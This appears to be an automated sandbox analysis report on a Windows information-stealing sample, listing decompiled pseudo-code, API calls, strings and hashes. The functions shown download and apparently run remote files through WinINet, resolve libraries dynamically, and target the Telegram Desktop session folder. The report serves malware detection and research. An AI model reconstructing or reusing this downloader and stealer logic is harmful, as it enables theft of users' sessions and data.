Part of subcall function 004077A0: lstrlen.KERNEL32(0040931D,00000001,?,00001FA0,00000000,00000000,?,00001FA0), ref: 004077EB
Part of subcall function 004077A0: CryptStringToBinaryA.CRYPT32(0040931D,00000000), ref: 004077F6

lstrcat.KERNEL32(00000000,00000000), ref: 00409328
lstrcat.KERNEL32(00000000,00418BC4), ref: 00409339
StrStrA.SHLWAPI(?,00A184F8), ref: 00409350
lstrlen.KERNEL32(00A184F8), ref: 0040935E
StrStrA.SHLWAPI(00000000,00A18AD0), ref: 0040937C
lstrcat.KERNEL32(00000000,00A17308), ref: 004093A1

Part of subcall function 004077A0: lstrcat.KERNEL32(?,0041401A), ref: 004078B9
Part of subcall function 004077A0: lstrcat.KERNEL32(?,0041401A), ref: 004078CD
Part of subcall function 004077A0: lstrcat.KERNEL32(0041401A,0041401A), ref: 004078EE

lstrcat.KERNEL32(00000000,00000000), ref: 004093BE
lstrcat.KERNEL32(00000000,00418BC0), ref: 004093CF
CloseHandle.KERNEL32(00000000), ref: 004093ED

Strings

, xrefs: 0040908F

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrcat$File$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeStringnew[]
String ID:
API String ID: 3141130001-3916222277
Opcode ID: df42f65cbb9f4ef5ec5817f12034b5c5c40bbaebf792a49d049cd6d98f07f5e0
Instruction ID: 7e99e970e00657f65ab1c061739f90e233e970cfeaa3462852b2302322d486d4
Opcode Fuzzy Hash: df42f65cbb9f4ef5ec5817f12034b5c5c40bbaebf792a49d049cd6d98f07f5e0
Instruction Fuzzy Hash: 58A11AB5A11204AFC715EBA4DD88FDA77F9EB4C304F00C5A9F60993291C738A9A1CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00408C00, Relevance: 33.3, APIs: 22, Instructions: 284stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00408C2F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00408C7C
RtlAllocateHeap.NTDLL(00000000), ref: 00408C83
lstrcat.KERNEL32(?,00A17248), ref: 00408DEA
lstrcat.KERNEL32(?,00A17268), ref: 00408E10
lstrcat.KERNEL32(?,00A17248), ref: 00408EC8
lstrcat.KERNEL32(?,00A17268), ref: 00408EEE
lstrcat.KERNEL32(?,?), ref: 00408F02
lstrcat.KERNEL32(?,004191EC), ref: 00408F14
lstrcat.KERNEL32(?,?), ref: 00408F28
lstrcat.KERNEL32(?,004191EC), ref: 00408F3A
lstrcat.KERNEL32(?,?), ref: 00408F4E
lstrcat.KERNEL32(?,004191EC), ref: 00408F60
lstrcat.KERNEL32(?,?), ref: 00408F74
lstrcat.KERNEL32(?,004191EC), ref: 00408F86
lstrcat.KERNEL32(?,?), ref: 00408F9A
lstrcat.KERNEL32(?,004191EC), ref: 00408FAC
lstrcat.KERNEL32(?,?), ref: 00408FC0
lstrcat.KERNEL32(?,004191EC), ref: 00408FD2
lstrcat.KERNEL32(?,?), ref: 00408FE6
lstrcat.KERNEL32(?,00418BC4), ref: 00408FF8
lstrlen.KERNEL32(?), ref: 0040900A

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: 6dacb75ba653f75164e28080b6dceb7eab12ac0dfcc8a2e54bcf7afa2522e244
Instruction ID: 37d9e65b1a1885b2021265d91926de593cb986df4567ec96dbdd6e639e599f41
Opcode Fuzzy Hash: 6dacb75ba653f75164e28080b6dceb7eab12ac0dfcc8a2e54bcf7afa2522e244
Instruction Fuzzy Hash: A6C164B1A01218AFCB24DF64DD89BDE77B5AF48704F0081D9F609A7291CB399E90CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00411520, Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 96stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,?,?,00412A9A,?), ref: 00411528
StrCmpCA.SHLWAPI(?,00419340,?,00412A9A,?), ref: 00411575
StrCmpCA.SHLWAPI(?,.zip,?,00412A9A,?), ref: 0041158F
StrCmpCA.SHLWAPI(?,.zoo,?,00412A9A,?), ref: 004115A9

Strings

.lzh, xrefs: 004115CE
.zoo, xrefs: 004115A0
.tgz, xrefs: 00411613
.zip, xrefs: 00411586
.arc, xrefs: 004115B7
.gz, xrefs: 004115FC
.arj, xrefs: 004115E5

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrlen
String ID: .arc$.arj$.gz$.lzh$.tgz$.zip$.zoo
API String ID: 1659193697-51310709
Opcode ID: 430f65423b4f0def573a6f751fbc7bb6154696510ea6a2334855bcd8a57c314c
Instruction ID: d5930b3a33e29c7b2ebfdd29e75950525031afcffcbb0299905607ea0d7068d1
Opcode Fuzzy Hash: 430f65423b4f0def573a6f751fbc7bb6154696510ea6a2334855bcd8a57c314c
Instruction Fuzzy Hash: DD318479B04204FB8B00DFB0C9849FF77B6AE59740B248056F61697760D239DE81EB5D

Uniqueness

Uniqueness Score: -1.00%

Function 00405420, Relevance: 22.7, APIs: 18, Instructions: 180
stringCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00405420(void* __ecx) {
				char _v268;
				char _v532;
				char _v796;
				char _v1060;
				char _v1324;
				char _v1588;
				intOrPtr _t45;
				intOrPtr _t50;
				intOrPtr _t55;
				intOrPtr _t60;
				intOrPtr _t65;
				intOrPtr _t70;
				intOrPtr _t75;
				intOrPtr _t80;
				intOrPtr _t97;
				intOrPtr _t99;
				intOrPtr _t101;
				intOrPtr _t103;
				intOrPtr _t105;
				intOrPtr _t107;
				intOrPtr _t109;
				intOrPtr _t111;
				intOrPtr _t116;
				intOrPtr _t118;
				intOrPtr _t120;
				intOrPtr _t122;
				intOrPtr _t124;
				intOrPtr _t126;
				intOrPtr _t128;
				intOrPtr _t130;

				E0040B720( &_v1324, 0x104);
				E0040B720( &_v268, 0x104);
				E0040B720( &_v796, 0x104);
				E0040B720( &_v1588, 0x104);
				E0040B720( &_v532, 0x104);
				E0040B720( &_v1060, 0x104);
				_t45 =  *0x41a368; // 0xa12168
				 *0x41aa24( &_v1324, _t45);
				_t116 =  *0x41a7c4; // 0xa14d18
				 *0x41aa24( &_v1324, _t116);
				_t97 =  *0x41a11c; // 0xa16ef8
				 *0x41aa24( &_v1324, _t97);
				_t50 =  *0x41a368; // 0xa12168
				 *0x41aa24( &_v268, _t50);
				_t118 =  *0x41a7c4; // 0xa14d18
				 *0x41aa24( &_v268, _t118);
				_t99 =  *0x41a3b4; // 0xa16fd0
				 *0x41aa24( &_v268, _t99);
				_t55 =  *0x41a368; // 0xa12168
				 *0x41aa24( &_v796, _t55);
				_t120 =  *0x41a7c4; // 0xa14d18
				 *0x41aa24( &_v796, _t120);
				_t101 =  *0x41a090; // 0xa16ec8
				 *0x41aa24( &_v796, _t101);
				_t60 =  *0x41a368; // 0xa12168
				 *0x41aa24( &_v1588, _t60);
				_t122 =  *0x41a7c4; // 0xa14d18
				 *0x41aa24( &_v1588, _t122);
				_t103 =  *0x41a604; // 0xa16ee0
				 *0x41aa24( &_v1588, _t103);
				_t65 =  *0x41a368; // 0xa12168
				 *0x41aa24( &_v532, _t65);
				_t124 =  *0x41a7c4; // 0xa14d18
				 *0x41aa24( &_v532, _t124);
				_t105 =  *0x41a630; // 0xa16e80
				 *0x41aa24( &_v532, _t105);
				_t70 =  *0x41a368; // 0xa12168
				 *0x41aa24( &_v1060, _t70);
				_t126 =  *0x41a7c4; // 0xa14d18
				 *0x41aa24( &_v1060, _t126);
				_t107 =  *0x41a674; // 0xa14d58
				 *0x41aa24( &_v1060, _t107);
				_t75 =  *0x41a2f0; // 0xa165a0
				_t108 =  &_v1324;
				E004049E0( &_v1324,  &_v1324, _t75);
				_t128 =  *0x41a650; // 0xa16460
				E004049E0(_t108,  &_v268, _t128);
				_t109 =  *0x41a220; // 0xa16578
				E004049E0(_t109,  &_v796, _t109);
				_t80 =  *0x41a6cc; // 0xa14b58
				_t110 =  &_v1588;
				E004049E0( &_v1588,  &_v1588, _t80);
				_t130 =  *0x41a4a8; // 0xa16690
				E004049E0(_t110,  &_v532, _t130);
				_t111 =  *0x41a700; // 0xa16910
				E004049E0(_t111,  &_v1060, _t111);
				E0040B720( &_v1324, 0x104);
				E0040B720( &_v268, 0x104);
				E0040B720( &_v796, 0x104);
				E0040B720( &_v1588, 0x104);
				E0040B720( &_v532, 0x104);
				return E0040B720( &_v1060, 0x104);
			}

0x00405435
0x00405446
0x00405457
0x00405468
0x00405479
0x0040548a
0x0040548f
0x0040549c
0x004054a2
0x004054b0
0x004054b6
0x004054c4
0x004054ca
0x004054d7
0x004054dd
0x004054eb
0x004054f1
0x004054ff
0x00405505
0x00405512
0x00405518
0x00405526
0x0040552c
0x0040553a
0x00405540
0x0040554d
0x00405553
0x00405561
0x00405567
0x00405575
0x0040557b
0x00405588
0x0040558e
0x0040559c
0x004055a2
0x004055b0
0x004055b6
0x004055c3
0x004055c9
0x004055d7
0x004055dd
0x004055eb
0x004055f1
0x004055f7
0x004055fe
0x00405606
0x00405614
0x0040561c
0x0040562a
0x00405632
0x00405638
0x0040563f
0x00405647
0x00405655
0x0040565d
0x0040566b
0x0040567f
0x00405690
0x004056a1
0x004056b2
0x004056c3
0x004056dc

APIs

lstrcat.KERNEL32(?,00A12168), ref: 0040549C
lstrcat.KERNEL32(?,00A14D18), ref: 004054B0
lstrcat.KERNEL32(?,00A16EF8), ref: 004054C4
lstrcat.KERNEL32(?,00A12168), ref: 004054D7
lstrcat.KERNEL32(?,00A14D18), ref: 004054EB
lstrcat.KERNEL32(?,00A16FD0), ref: 004054FF
lstrcat.KERNEL32(?,00A12168), ref: 00405512
lstrcat.KERNEL32(?,00A14D18), ref: 00405526
lstrcat.KERNEL32(?,00A16EC8), ref: 0040553A
lstrcat.KERNEL32(?,00A12168), ref: 0040554D
lstrcat.KERNEL32(?,00A14D18), ref: 00405561
lstrcat.KERNEL32(?,00A16EE0), ref: 00405575
lstrcat.KERNEL32(?,00A12168), ref: 00405588
lstrcat.KERNEL32(?,00A14D18), ref: 0040559C
lstrcat.KERNEL32(?,00A16E80), ref: 004055B0
lstrcat.KERNEL32(?,00A12168), ref: 004055C3
lstrcat.KERNEL32(?,00A14D18), ref: 004055D7
lstrcat.KERNEL32(?,00A14D58), ref: 004055EB

Part of subcall function 004049E0: InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00404A0E

Part of subcall function 004049E0: StrCmpCA.SHLWAPI(00000000,https), ref: 00404A3A
Part of subcall function 004049E0: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00800100,00000000), ref: 00404A8F
Part of subcall function 004049E0: HttpQueryInfoA.WININET(?,00000013,?,00000100,00000000), ref: 00404ACF
Part of subcall function 004049E0: StrCmpCA.SHLWAPI(?,200), ref: 00404AE5
Part of subcall function 004049E0: CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00404B17
Part of subcall function 004049E0: InternetReadFile.WININET(?,?,00000400,?), ref: 00404B40
Part of subcall function 004049E0: WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00404B6E
Part of subcall function 004049E0: FindCloseChangeNotification.KERNEL32(?,?,00000400), ref: 00404BBC
Part of subcall function 004049E0: InternetCloseHandle.WININET(?), ref: 00404BC6
Part of subcall function 004049E0: InternetCloseHandle.WININET(00000000), ref: 00404BD3

Part of subcall function 004049E0: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000100,00000000), ref: 00404AB0
Part of subcall function 004049E0: Sleep.KERNEL32(00007530), ref: 00404AF6

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrcat$Internet$CloseFileOpen$Handle$ChangeCreateFindHttpInfoNotificationQueryReadSleepWrite
String ID:
API String ID: 1141736759-0
Opcode ID: 523f6f94308fdabadb63e5cab476504b7bf4905b54afa8b5587d7d0ed3e38dc8
Instruction ID: 5a6f90b88bf48c53f68c00fc2f1db0b98238631f3db8af8a6affdc9d9dd0ffe7
Opcode Fuzzy Hash: 523f6f94308fdabadb63e5cab476504b7bf4905b54afa8b5587d7d0ed3e38dc8
Instruction Fuzzy Hash: AB6178F6511118ABC710EBA0DD85DEA33B8FB4C704F0485AEF21593191DB7897A4CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00407900, Relevance: 18.1, APIs: 12, Instructions: 105
libraryloaderstringCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E00407900(void* __ecx, void* __eflags, intOrPtr _a4) {
				long _v8;
				long _v12;
				char _v5012;
				intOrPtr _v5016;
				CHAR* _t17;
				struct HINSTANCE__* _t21;
				CHAR* _t24;
				struct HINSTANCE__* _t26;
				CHAR* _t29;
				CHAR* _t42;
				CHAR* _t43;
				struct HINSTANCE__* _t44;
				CHAR* _t45;
				struct HINSTANCE__* _t46;
				CHAR* _t49;
				struct HINSTANCE__* _t50;
				CHAR* _t51;
				struct HINSTANCE__* _t52;
				CHAR* _t55;

				E004139B0(0x1394, __ecx);
				if(_a4 == 0) {
					return 0;
				}
				_v8 = 0xffff;
				_t17 =  *0x41a034; // 0xa17228
				_v12 = GetEnvironmentVariableA(_t17, 0x41b488, 0xffff);
				if(0x41b488 != 0) {
					E0040B720( &_v5012, 0x1388);
					 *0x41aa24( &_v5012, 0x41b488);
					 *0x41aa24( &_v5012, ";");
					 *0x41aa24( &_v5012, _a4);
					_t55 =  *0x41a034; // 0xa17228
					SetEnvironmentVariableA(_t55,  &_v5012);
					E0040B720( &_v5012, 0x1388);
				}
				_t42 =  *0x41a6cc; // 0xa14b58
				 *0x41a824 = LoadLibraryA(_t42);
				if( *0x41a824 != 0) {
					_t49 =  *0x41a2b0; // 0xa17df0
					_t21 =  *0x41a824; // 0x0
					 *0x41a81c = GetProcAddress(_t21, _t49);
					_t43 =  *0x41a628; // 0xa17e08
					_t50 =  *0x41a824; // 0x0
					 *0x41a840 = GetProcAddress(_t50, _t43);
					_t24 =  *0x41a1b4; // 0xa186d8
					_t44 =  *0x41a824; // 0x0
					 *0x41a7ec = GetProcAddress(_t44, _t24);
					_t51 =  *0x41a12c; // 0xa17d90
					_t26 =  *0x41a824; // 0x0
					 *0x41a814 = GetProcAddress(_t26, _t51);
					_t45 =  *0x41a7b4; // 0xa184b8
					_t52 =  *0x41a824; // 0x0
					 *0x41a828 = GetProcAddress(_t52, _t45);
					_t29 =  *0x41a358; // 0xa17da8
					_t46 =  *0x41a824; // 0x0
					 *0x41a80c = GetProcAddress(_t46, _t29);
				}
				if( *0x41a81c == 0 ||  *0x41a840 == 0 ||  *0x41a7ec == 0 ||  *0x41a828 == 0 ||  *0x41a80c == 0 ||  *0x41a814 == 0) {
					_v5016 = 0;
				} else {
					_v5016 = 1;
				}
				return _v5016;
			}

0x00407908
0x00407911
0x00000000
0x00407ab0
0x00407917
0x00407928
0x00407934
0x0040793e
0x0040794c
0x0040795d
0x0040796f
0x00407980
0x0040798d
0x00407994
0x004079a6
0x004079a6
0x004079ab
0x004079b8
0x004079c4
0x004079ca
0x004079d1
0x004079dd
0x004079e2
0x004079e9
0x004079f6
0x004079fb
0x00407a01
0x00407a0e
0x00407a13
0x00407a1a
0x00407a26
0x00407a2b
0x00407a32
0x00407a3f
0x00407a44
0x00407a4a
0x00407a57
0x00407a57
0x00407a63
0x00407a9e
0x00407a92
0x00407a92
0x00407a92
0x00000000

APIs

GetEnvironmentVariableA.KERNEL32(00A17228,0041B488,0000FFFF), ref: 0040792E
lstrcat.KERNEL32(?,0041B488), ref: 0040795D
lstrcat.KERNEL32(?,004191E8), ref: 0040796F
lstrcat.KERNEL32(?,00000000), ref: 00407980
SetEnvironmentVariableA.KERNEL32(00A17228,?), ref: 00407994
LoadLibraryA.KERNEL32(00A14B58), ref: 004079B2
GetProcAddress.KERNEL32(00000000,00A17DF0), ref: 004079D7
GetProcAddress.KERNEL32(00000000,00A17E08), ref: 004079F0
GetProcAddress.KERNEL32(00000000,00A186D8), ref: 00407A08
GetProcAddress.KERNEL32(00000000,00A17D90), ref: 00407A20
GetProcAddress.KERNEL32(00000000,00A184B8), ref: 00407A39
GetProcAddress.KERNEL32(00000000,00A17DA8), ref: 00407A51

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: AddressProc$lstrcat$EnvironmentVariable$LibraryLoad
String ID:
API String ID: 570708976-0
Opcode ID: 7abf122d6e215ba9c63e42e8549cfde015a8d6489de665f1db2b59e3b6550401
Instruction ID: 77b6c5c08cf9b7a4301e695bc4720b41c2074284124323e2e0bb79b02c60fe80
Opcode Fuzzy Hash: 7abf122d6e215ba9c63e42e8549cfde015a8d6489de665f1db2b59e3b6550401
Instruction Fuzzy Hash: FD4120B5616200DFC714EFA4ED48AEA37F4A708305F14C57AF105926A1C77C96A2CF6E

Uniqueness

Uniqueness Score: -1.00%

Function 00411720, Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 198
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411720(void* _a4, signed int* _a8, intOrPtr* _a12, intOrPtr* _a16, signed int* _a20) {
				int _v8;
				signed int _v12;
				signed int _v16;
				long _v20;
				intOrPtr _v48;
				intOrPtr _v56;
				intOrPtr _v64;
				struct _BY_HANDLE_FILE_INFORMATION _v72;
				long _v76;
				void _v80;
				void _v84;
				void _v88;
				signed short _v92;
				signed short _v96;
				intOrPtr _t103;
				intOrPtr _t105;
				intOrPtr _t107;
				intOrPtr* _t138;
				intOrPtr _t139;
				intOrPtr _t140;
				intOrPtr _t161;
				intOrPtr _t162;
				intOrPtr _t163;
				void* _t177;

				_v8 = GetFileInformationByHandle(_a4,  &_v72);
				if(_v8 == 0) {
					return 0x200;
				}
				_v16 = _v72.dwFileAttributes;
				_v12 = 0;
				if((_v16 & 0x00000001) != 0) {
					_v12 = _v12 | 0x00000001;
				}
				if((_v16 & 0x00000002) != 0) {
					_v12 = _v12 | 0x00000002;
				}
				if((_v16 & 0x00000004) != 0) {
					_v12 = _v12 | 0x00000004;
				}
				if((_v16 & 0x00000010) != 0) {
					_v12 = _v12 | 0x00000010;
				}
				if((_v16 & 0x00000020) != 0) {
					_v12 = _v12 | 0x00000020;
				}
				if((_v16 & 0x00000010) == 0) {
					_v12 = _v12 | 0x80000000;
				} else {
					_v12 = _v12 | 0x40000000;
				}
				_v12 = _v12 | 0x01000000;
				if((_v16 & 0x00000001) == 0) {
					_v12 = _v12 | 0x00800000;
				}
				_v76 = GetFileSize(_a4, 0);
				if(_v76 > 0x28) {
					SetFilePointer(_a4, 0, 0, 0);
					ReadFile(_a4,  &_v80, 2,  &_v20, 0);
					SetFilePointer(_a4, 0x24, 0, 0);
					ReadFile(_a4,  &_v84, 4,  &_v20, 0);
					if((_v80 & 0x0000ffff) == 0x54ad && _v76 > _v84 + 0x34) {
						SetFilePointer(_a4, _v84, 0, 0);
						ReadFile(_a4,  &_v88, 4,  &_v20, 0);
						if(_v88 == 0x5a4d || _v88 == 0x454e || _v88 == 0x454c || _v88 == 0x4550) {
							_v12 = _v12 | 0x00400000;
						}
					}
				}
				if(_a8 != 0) {
					 *_a8 = _v12;
				}
				if(_a12 != 0) {
					 *_a12 = _v76;
				}
				if(_a16 != 0) {
					_t161 = _v72.ftLastAccessTime;
					_t103 = E00411630(_t161, _v56);
					_t138 = _a16;
					 *_t138 = _t103;
					 *((intOrPtr*)(_t138 + 4)) = _t161;
					_t162 = _v48;
					_t105 = E00411630(_v72.ftLastWriteTime, _t162);
					_t139 = _a16;
					 *((intOrPtr*)(_t139 + 8)) = _t105;
					 *((intOrPtr*)(_t139 + 0xc)) = _t162;
					_t163 = _v64;
					_t107 = E00411630(_v72.ftCreationTime, _t163);
					_t177 = _t177 + 0x18;
					_t140 = _a16;
					 *((intOrPtr*)(_t140 + 0x10)) = _t107;
					 *((intOrPtr*)(_t140 + 0x14)) = _t163;
				}
				if(_a20 != 0) {
					E00411670(_v72.ftLastWriteTime, _v48,  &_v96,  &_v92);
					 *_a20 = _v92 & 0x0000ffff | (_v96 & 0x0000ffff) << 0x00000010;
				}
				return 0;
			}

0x00411734
0x0041173b
0x00000000
0x0041173d
0x0041174a
0x0041174d
0x0041175a
0x00411762
0x00411762
0x0041176b
0x00411773
0x00411773
0x0041177c
0x00411784
0x00411784
0x0041178d
0x00411795
0x00411795
0x0041179e
0x004117a6
0x004117a6
0x004117af
0x004117c7
0x004117b1
0x004117ba
0x004117ba
0x004117d3
0x004117dc
0x004117e8
0x004117e8
0x004117f7
0x004117fe
0x0041180e
0x00411824
0x00411834
0x0041184a
0x0041185a
0x00411873
0x00411889
0x00411896
0x004118bc
0x004118bc
0x00411896
0x0041185a
0x004118c3
0x004118cb
0x004118cb
0x004118d1
0x004118d9
0x004118d9
0x004118df
0x004118e5
0x004118e9
0x004118f1
0x004118f4
0x004118f6
0x004118f9
0x00411901
0x00411909
0x0041190c
0x0041190f
0x00411912
0x0041191a
0x0041191f
0x00411922
0x00411925
0x00411928
0x00411928
0x0041192f
0x00411941
0x00411959
0x00411959
0x00000000

APIs

GetFileInformationByHandle.KERNEL32(?,?), ref: 0041172E
GetFileSize.KERNEL32(00000000,00000000), ref: 004117F1
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041180E
ReadFile.KERNEL32(00000000,?,00000002,?,00000000), ref: 00411824
SetFilePointer.KERNEL32(00000000,00000024,00000000,00000000), ref: 00411834
ReadFile.KERNEL32(00000000,?,00000004,?,00000000), ref: 0041184A
SetFilePointer.KERNEL32(00000000,?,00000000,00000000), ref: 00411873

Strings

(, xrefs: 004117FA
PE, xrefs: 004118AA

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: File$Pointer$Read$HandleInformationSize
String ID: ($PE
API String ID: 4143101051-3347799738
Opcode ID: 79a77e92f1a754c41c7a61d504a6995133a2ec26633485cc660dbe2cd85e25cc
Instruction ID: e3637cdcc6502234263c20fa9ec7c337361675902c7ba39fe6a18ec050177dc1
Opcode Fuzzy Hash: 79a77e92f1a754c41c7a61d504a6995133a2ec26633485cc660dbe2cd85e25cc
Instruction Fuzzy Hash: 7C814AB5D10208ABEB04DFD4C885BEEBBB5FB48300F14C15AE615AB394D3349A81CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0043B163, Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 368COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 0043B3BF
__aulldiv.LIBCMT ref: 0043B3E1
_write_multi_char.LIBCMTD ref: 0043B4E8
_write_string.LIBCMTD ref: 0043B503
_write_multi_char.LIBCMTD ref: 0043B52F
_wctomb_s.LIBCMTD ref: 0043B5AC

Strings

9, xrefs: 0043B3F2
-, xrefs: 0043B488

Memory Dump Source

Source File: 00000017.00000002.431817716.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Similarity

API ID: _write_multi_char$__aulldiv__aullrem_wctomb_s_write_string
String ID: -$9
API String ID: 2197463554-1631151375
Opcode ID: 5bf03faa381e4febbeff30595d785f86b554c2f9f1d91b74959bd7f8ea350e21
Instruction ID: 07076d515afbc1418397e7d74e06d99b82e6f0506d29ab581209e6f353a77a83
Opcode Fuzzy Hash: 5bf03faa381e4febbeff30595d785f86b554c2f9f1d91b74959bd7f8ea350e21
Instruction Fuzzy Hash: 00F149B1D016299FDB24CF54CC89BAEB7B1FB48304F1091DAE509A7281D7389E80CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00405B00, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 178
stringCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E00405B00(void* __eflags, intOrPtr _a4) {
				intOrPtr _v8;
				char _v276;
				char _v540;
				char _v804;
				char _v1068;
				char _v1072;
				char _v1076;
				intOrPtr _v1104;
				intOrPtr _v1108;
				intOrPtr _v1112;
				char* _v1116;
				char* _v1120;
				intOrPtr _v1124;
				intOrPtr _v1128;
				intOrPtr _v1132;
				char _v1136;
				intOrPtr _v1140;
				char _t56;
				char _t66;
				void* _t69;
				void* _t73;
				void* _t77;
				void* _t81;
				void* _t83;
				intOrPtr _t110;
				intOrPtr _t117;
				intOrPtr _t118;
				intOrPtr _t119;
				intOrPtr _t120;
				void* _t126;
				void* _t127;

				_t56 = E0040C090(_a4, "|",  &_v1076);
				_t127 = _t126 + 0xc;
				_v1072 = _t56;
				_v8 = 1;
				E0040B720( &_v804, 0x104);
				E0040B720( &_v1068, 0x104);
				E0040B720( &_v540, 0x104);
				E0040B720( &_v276, 0x104);
				while(_v1072 != 0) {
					_v1140 = _v8;
					if(_v1140 == 1) {
						 *0x41aa24( &_v804, _v1072);
					} else {
						if(_v1140 == 2) {
							 *0x41aa24( &_v1068, _v1072);
							_t69 = E0040BF50( &_v1068, __eflags, 0x1a);
							_t117 =  *0x41a574; // 0xa16e50
							 *0x41aac8( &_v540, E0040BEB0( &_v1068, _t117, _t69));
							_t73 = E0040BF50( &_v540, __eflags, 0x1c);
							_t118 =  *0x41a518; // 0xa16d90
							 *0x41aac8( &_v540, E0040BEB0( &_v540, _t118, _t73));
							_t77 = E0040BF50( &_v540, __eflags, 0x28);
							_t119 =  *0x41a2f8; // 0xa16e08
							 *0x41aac8( &_v540, E0040BEB0( &_v540, _t119, _t77));
							_t81 = E0040BF50( &_v540, __eflags, 0x10);
							_t120 =  *0x41a494; // 0xa16e20
							_t83 = E0040BEB0( &_v540, _t120, _t81);
							_t127 = _t127 + 0x40;
							 *0x41aac8( &_v540, _t83);
						} else {
							if(_v1140 == 3) {
								 *0x41aa24( &_v276, _v1072);
								E004049E0( &_v540,  &_v804,  &_v540);
								_t127 = _t127 + 8;
								E0040B6E0( &_v540,  &_v1136, 0, 0x3c);
								_v1136 = 0x3c;
								_v1132 = 0;
								_v1128 = 0;
								_t110 =  *0x41a694; // 0x9f6968
								_v1124 = _t110;
								_v1120 =  &_v540;
								_v1116 =  &_v276;
								_v1112 = 0;
								_v1108 = 5;
								_v1104 = 0;
								 *0x41aa84( &_v1136);
								E0040B6E0( &_v1136,  &_v1136, 0, 0x3c);
								E0040B720( &_v1068, 0x104);
								E0040B720( &_v540, 0x104);
								E0040B720( &_v276, 0x104);
								E0040B720( &_v804, 0x104);
								_v8 = 0;
							}
						}
					}
					_v8 = _v8 + 1;
					_t66 = E0040C090(0, "|",  &_v1076);
					_t127 = _t127 + 0xc;
					_v1072 = _t66;
				}
				return E0040B720( &_v1072, 4);
			}

0x00405b19
0x00405b1e
0x00405b21
0x00405b27
0x00405b3a
0x00405b4b
0x00405b5c
0x00405b6d
0x00405b72
0x00405b82
0x00405b8f
0x00405bba
0x00405b91
0x00405b98
0x00405bd3
0x00405bdb
0x00405be4
0x00405c02
0x00405c0a
0x00405c13
0x00405c31
0x00405c39
0x00405c42
0x00405c60
0x00405c68
0x00405c71
0x00405c7f
0x00405c84
0x00405c8f
0x00405b9a
0x00405ba1
0x00405ca8
0x00405cbc
0x00405cc1
0x00405ccf
0x00405cd4
0x00405cde
0x00405ce8
0x00405cf2
0x00405cf8
0x00405d04
0x00405d10
0x00405d16
0x00405d20
0x00405d2a
0x00405d3b
0x00405d4c
0x00405d5d
0x00405d6e
0x00405d7f
0x00405d90
0x00405d95
0x00405d95
0x00405ba1
0x00405b98
0x00405da2
0x00405db3
0x00405db8
0x00405dbb
0x00405dbb
0x00405dd7

APIs

lstrcat.KERNEL32(?,00000000), ref: 00405BBA
lstrcat.KERNEL32(?,00000000), ref: 00405BD3

Part of subcall function 0040BF50: SHGetFolderPathA.SHELL32(00000000,0040619E,00000000,00000000,?,?,000003E8), ref: 0040BF7B

Part of subcall function 0040BEB0: StrStrA.SHLWAPI(00A16E50,?,?,004061B1,?,00A16E50,00000000), ref: 0040BEBE

lstrcpy.KERNEL32(?,00000000), ref: 00405C02

Part of subcall function 0040BEB0: lstrcpyn.KERNEL32(C:\Users\user\AppData\Roaming\Telegram Desktop\tdata\,00A16E50,00A16E50,?,004061B1,?,00A16E50), ref: 0040BEE2
Part of subcall function 0040BEB0: wsprintfA.USER32 ref: 0040BF3B

lstrcpy.KERNEL32(?,00000000), ref: 00405C31
lstrcpy.KERNEL32(?,00000000), ref: 00405C60
lstrcpy.KERNEL32(?,00000000), ref: 00405C8F

Strings

<, xrefs: 00405CD4

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrcpy$lstrcat$FolderPathlstrcpynwsprintf
String ID: <
API String ID: 2415926151-4251816714
Opcode ID: 747730083efd5928e2e27fe322c6f8ad2ed5ef5884fc777b8ac9b0fedd14d06d
